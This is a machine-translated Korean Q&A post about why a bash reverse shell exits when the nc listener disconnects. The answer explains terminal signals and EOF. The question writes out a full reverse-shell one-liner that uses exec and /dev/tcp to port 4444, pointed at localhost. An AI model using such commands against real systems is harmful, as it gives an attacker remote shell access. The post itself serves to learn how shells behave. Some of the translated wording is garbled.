"exec"를 사용하여 모든 기본 파일 설명자를 리디렉션하면 어느 쪽이 연결을 닫았는지에 따라 프로그램이 존재한 후 쉘이 종료됩니까?

"exec"를 사용하여 모든 기본 파일 설명자를 리디렉션하면 어느 쪽이 연결을 닫았는지에 따라 프로그램이 존재한 후 쉘이 종료됩니까?

Bash다양한 리다이렉션 연산자를 사용해 리버스 쉘을 만들어보며 기술을 연습해 왔습니다 .

nc리스너를 설정한 후:

nc -lvp 4444

다음 명령을 실행합니다.

0<&116-; exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh

내가 설명할 수 없는 것은 /bin/sh연결이 끊어진 후 쉘이 종료되는 이유입니다. 그러나 nc?를 눌러 쉘의 연결을 끊는 경우에만 해당됩니다. 쉘의 연결이 끊어지면 ^C쉘 에 입력하면 쉘에 개행 문자가 표시됩니까 ?/bin/sh^C/bin/shnc

답변1

0<&116-;

오류를 발생시키는 것 외에 이것이 무엇을 달성할 것인지 확실하지 않습니다(fd 116이 이미 열려 있지 않은 한, 이 경우 아무 것도 수행하지 않습니다).

독자들을 혼란스럽게 하시나요?

exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh

현재 쉘의 stdin, stdout, stderr을 소켓을 통해 리스너로 리디렉션하더라도 nc현재 터미널은 여전히제어 터미널껍데기.

현재 터미널의 ^C는 a를 포그라운드 작업으로 보냅니다 SIGINT. 이는 (다른 명령을 기다리지 않는 경우) 쉘 자체입니다.인터렉티브SIGINT, 캡처 후 프롬프트를 캡처 하고 다시 인쇄합니다.

다른 터미널( nc -l ..실행 중이고 쉘이 입력을 받아 출력을 인쇄하는 터미널)의 ^C는 모든 연결을 종료 하고 닫아 표준 입력으로 인해 nc쉘이 종료되도록 합니다.EOF

/bin/sh마찬가지로, 추가 수수료가 무엇을 제공해야 하는지도 불분명합니다 . 상위 항목(연결이 끊어진 경우)으로부터 EOFstdin 또는 SIGPIPE/ stdout을 상속받았으므로 즉시 종료됩니다 .EPIPEnc

관련 정보